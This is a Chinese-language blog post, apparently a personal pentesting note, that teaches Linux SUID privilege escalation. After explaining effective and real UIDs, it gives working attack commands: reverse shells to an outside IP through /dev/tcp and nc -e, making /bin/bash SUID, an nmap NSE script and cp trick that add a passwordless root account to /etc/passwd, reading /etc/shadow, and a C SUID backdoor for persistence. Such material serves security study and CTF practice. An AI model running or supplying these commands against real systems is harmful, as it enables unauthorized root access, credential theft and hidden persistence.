Diggid's Blog

SUID 提权小记

字数统计: 2.8k阅读时长: 11 min
2021/05/08 Share

前言

之前有用过但是没总结过,顺带总结一下并且学习一下相关的内网渗透 & 提权的内容

SUID 基础

什么是SUID

suid全称是Set owner User ID up on execution。这是Linux给可执行文件的一个属性,如果使用ls -la列目录的话可以看到带有suid的可执行命令

image-20210508152824309

比如这里的ping命令,其设置了s位,具有suid属性,为什么要给ping设置这个属性呢。通常Linux运行一个程序,是使用运行当前这个程序的用户的权限。而ping命令需要发送ICMP报文,这个操作相应会发送Raw Socket。在Linux 2.2引入CAPABILITIES前,使用Raw Socket是需要root权限的,所以要想让普通用户能使用ping命令,则附加给ping这个可执行文件suid的属性

下面这段话引自@P师傅:

设置了s位的程序在运行时,其Effective UID将会设置为这个程序的所有者。比如,/bin/ping这个程序的所有者是0(root),它设置了s位,那么普通用户在运行ping时其Effective UID就是0,等同于拥有了root权限。

这里引入了一个新的概念Effective UID。Linux进程在运行时有三个UID:

  • Real UID 执行该进程的用户实际的UID
  • Effective UID 程序实际操作时生效的UID(比如写入文件时,系统会检查这个UID是否有权限)
  • Saved UID 在高权限用户降权后,保留的其原本UID(本文中不对这个UID进行深入探讨)

通常情况下Effective UID和Real UID相等,所以普通用户不能写入只有UID=0号才可写的/etc/passwd;有suid的程序启动时,Effective UID就等于二进制文件的所有者,此时Real UID就可能和Effective UID不相等了。

只有这个程序的所有者是0号或其他super user,同时拥有suid权限,才可以提权。

/etc/sudoers语法

/etc/sudoers的下面两个配置组下

1
2
3
4
5
6
7
8
# User privilege specification
root ALL=(ALL:ALL) ALL
git ALL=(ALL:ALL) ALL
# Members of the admin group may gain root privileges
%admin ALL=(ALL) ALL

# Allow members of group sudo to execute any command
%sudo ALL=(ALL:ALL) ALL

这样的配置

1
2
3
[用户/%用户组]	[ALL/hostname]=(ALL/用户) [NOPASSWD:] [ALL/命令]
root ALL =(ALL:ALL) ALL
git ALL =(ALL:ALL) ALL
  • 第一个:被授权的root用户允许执行所有(ALL)计算机上,所有用户(ALL)的所有命令(ALL),且不需要密码(NOPASSWD)

  • 第二个同理

查看具有SUID可执行文件

1
2
3
4
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;
//最后的\;一定要有,且与命令要有一个空格,{}代表前面find出来的参数

Linux shell的降权限制

在说suid提权之前,先简单谈谈Linux新版本(旧版可能不受限)对于/bin/[shell]在具有SUID属性时的一些限制。详细内容可以参考P牛的文章

如何限制

根据上面参考链接的P牛的文章,可以知道Linux不同发行版会使用不同的shell,而不同的shell在不同的发行版、同一发行版的不同版本(新旧版本)对suid权限具有不同的限制:

  • /bin/dash(Ubuntu和Centos中有不同的处理)

  • 在部分Centos系统中可以使用,不会受到降权限制

  • 在Ubuntu中受到限制:当dash以suid权限运行、且没有指定-p选项时,将会丢弃suid权限,恢复当前用户权限。其底层的原因是会判断当前用户的Real UID和Effective UID是否相等,和bash的做法基本一样

  • /bin/bash:需要-p选项,否则bash会将Effective UID还原成Real UID,从而限制了suid提权

  • 或者其他shell,但是软链指向的是上面两个shell

限制什么

  • 限制反弹shell

  • 限制一系列命令(脚本语言的命令,awk等),这类命令本身不具有附加执行命令的选项,而只能通过调用外部执行命令的函数(如system)来执行命令,比如

1
awk 'BEGIN {system('id')}'

在下文提到的suid提权方式中,有部分是可以执行命令的,那么肯定会想到反弹shell,但是会出现一个问题:反弹回来的shell还是原来的权限,并没有提权成root。细想一下也可以知道,比如举个find命令来执行命令的例子,网上大都这么写

1
find test -exec nc -lvvp 8888 -e "/bin/sh" \;

但如果在Ubuntu18.04或者其他较新版的Linux系统中,是无法得到提权的shell的。因为还是会受到上面所说的shell对suid的限制,其本质原因还是Real UID 和 Effective UID不相等(同时为0)的问题。因此我们需要想办法来突破这个限制,所以我们要切记

任何跟执行bin/[shell]有关的,包括反弹shell,交互式shell都会受到上面所说的降权的限制!

任何跟执行bin/[shell]有关的,包括反弹shell,交互式shell都会受到上面所说的降权的限制!

任何跟执行bin/[shell]有关的,包括反弹shell,交互式shell都会受到上面所说的降权的限制!

突破降权

我们有这样的思路,已知一个可以执行命令的suid属性的可执行文件

  • 通过该可执行文件给\bin\bash\bin\dash添加suid权限

  • 反弹shell时设置-p选项

还是以find为例:

1
2
3
touch test
find test -exec chmod +s /bin/bash \;
find test -exec bash -c -p 'bash -i -p &> /dev/tcp/192.168.170.130/8888 0>&1' \;

这样子我们就可以拿到一个root的反弹shell了,或者直接拿正向shell也可以

SUID 提权

常见有以下几种,前提还是以下的可执行文件具有suid权限

1
2
3
4
5
6
7
8
nmap
Vim
find
bash
more
less
nano
cp

nmap

常规提权

交互式提权:较旧版 2.20 - 5.20。可以使用交互式控制台来运行具有相同权限的shell

  • 参数:--interactive
  • 可能的原因:要进行UDP或TCP SYN扫描,需要有root权限(要发送Raw Socket)

先查看版本

1
nmap -V

再进入交互式

1
nmap --interactive

然后通过一特殊语句得到具有超级用户权限的shell,这里才是真正提权的地方

1
!sh

!sh的源码实现其实是调用了system('sh'),也就是/bin/sh -c 'sh'。并且其没有丢弃Effective UID也没有判断Effective UID和Real UID是否相等带来的不同权限操作。因此此方式能够成功提权

特殊姿势

在5.20版本之后,由于没有了--interactive操作,我们需要另一种方式来辅助我们提权

--script

该参数能够执行一个.nse脚本,可以进行文件读写,执行系统命令的操作(但这个执行系统命令仍然是当前用户的权限)

利用脚本,将下面一段写到/etc/passwd

1
root2::0:0:[无密码]:/root:/bin/bash

suid.nse

1
2
3
local file = io.open("/etc/passwd", "a")
file:write("root2::0:0::/root:/bin/bash\n")
file:close()

执行

1
nmap --script=suid.nse

这样我们就可以切换root2用户来执行命令了,或者直接执行命令

1
su root2 -c "id"

image-20210508165712770

cp & mv

覆盖/etc/passwd或/etc/shadow文件,写一个无密码的root权限的用户

1
2
echo "root2::0:0:[无密码]:/root:/bin/bash" > passwd
cp passwd /etc/passwd

find

find命令配合-exec选项可以执行额外的命令,其本意是使用额外的命令来处理find命令输出的结果,但如果find具有suid权限,则可配合其他命令来提权。

先创建一个空的文件,否则前面执行时会失败

1
touch test
  • 直接利用root的权限:读写、执行等
1
find test -exec cat /flag \;
  • 反弹shell:注意还是前面说到的,跟shell操作有关的都需要shell先具有suid权限,并且指定-p参数
1
2
find test -exec bash -c -p 'bash -i -p &> /dev/tcp/192.168.170.130/8888 0>&1' \;
find test -exec sh -c -p 'bash -i -p &> /dev/tcp/192.168.170.130/8888 0>&1' \;

bash & dash

1
2
3
bash -p

bash -c -p 'bash -i -p &> /dev/tcp/192.168.170.130/8888 0>&1'

tcpdump

存疑!部分版本提权不成功!猜测可能是由于tcpdump的-z参数可能也采取了Real UIDEffective UID的检测

1
2
3
echo $'id\ncat /etc/shadow' > /tmp/.test
chmod +x /tmp/.test
sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/.test -Z root

image-20210509223813400

读文件的命令

只可以越权读文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
1.常规
less
more
tail
nano
man

2.特殊
apache2 -f /etc/shadow

wget http://192.168.56.1:8080/passwd -O /etc/shadow

3.vim
读文件;vim filename
获取shell:set shell=/bin/bash -> !sh
// vim也可以得shell,但是shell还是会受到上面的限制,并且貌似没办法解决,因为指定不了-p参数

脚本语言的命令

这类命令配合一些读文件操作比较好,调用系统函数的话大部分还是会受到前面说的限制。

1
2
3
4
5
6
7
8
9
php

python

perl

lua

ruby

留后门(已经是root身份)

当我们通过其他提权方式,或者SUID提权方式获得是root权限的shell,这时可以写入一个属主为root的suid.c文件来留后门,其内容如下:

1
2
3
int main(int argc, char* argv[]) {
return execl("/bin/sh", "sh", "-p", "-c", argv[1], (char *)0);
}

这里不能使用system(xxx)函数,因为system函数底层实现是/bin/sh,那么相当于/bin/sh -c 'xxx',这样我们就无法设置-p选项了,我们可以换用execl等exec系列的函数,还有一种方式是通过setuid(0)来手动设置Real UID为0来使得Real UID等于Effective UID,从而绕过限制

1
2
3
4
int main(int argc, char* argv[]) {
setuid(0);
system(argv[1]);
}

然后编译一波,并给该文件加上suid权限

1
2
gcc suid.c -o suid
chmod +x suid

执行命令

1
./suid 'cat /etc/shadow'

要想反弹shell的话,还是需要给/bin/[shell]加上suid属性

总结

关于Linux的提权方式还有很多,这里的SUID仅仅是其中的一种,主要还是看了P牛的文章深刻理解了一波SUID提权的原理以及在shell受限的情况下如何拓宽思维去组合起来利用,本质上还是离不开Real UIDEffective UID的关系,尤其是反弹shell的时候需要特别注意,几个关键字要记一下:

  • Linux的shell对于suid的降权限制

  • 组合拳利用:先修改/bin/[shell]也具有suid权限,然后再配合可执行命令的命令,附加-p来反弹shell

  • 提权的小分类:

    • find、tcpdump*、bash/dash可以执行命令,反弹shell要带-p
  • cp、mv、nmap(配合nse)可以写root2::0:0::/root:/bin/bash/etc/passwd

    • 读内容的命令 & 脚本语言

    • 留后门(已经提权到root身份或者已root身份进入到shell中)

参考

https://www.anquanke.com/post/id/86979

https://jlkl.github.io/2020/01/27/Web_15/

https://www.leavesongs.com/PENETRATION/linux-suid-privilege-escalation.html

CATALOG
  1. 1. 前言
  2. 2. SUID 基础
    1. 2.1. 什么是SUID
    2. 2.2. /etc/sudoers语法
    3. 2.3. 查看具有SUID可执行文件
  3. 3. Linux shell的降权限制
    1. 3.1. 如何限制
    2. 3.2. 限制什么
    3. 3.3. 突破降权
  4. 4. SUID 提权
    1. 4.1. nmap
      1. 4.1.1. 常规提权
      2. 4.1.2. 特殊姿势
    2. 4.2. cp & mv
    3. 4.3. find
    4. 4.4. bash & dash
    5. 4.5. tcpdump
    6. 4.6. 读文件的命令
    7. 4.7. 脚本语言的命令
    8. 4.8. 留后门(已经是root身份)
  5. 5. 总结
  6. 6. 参考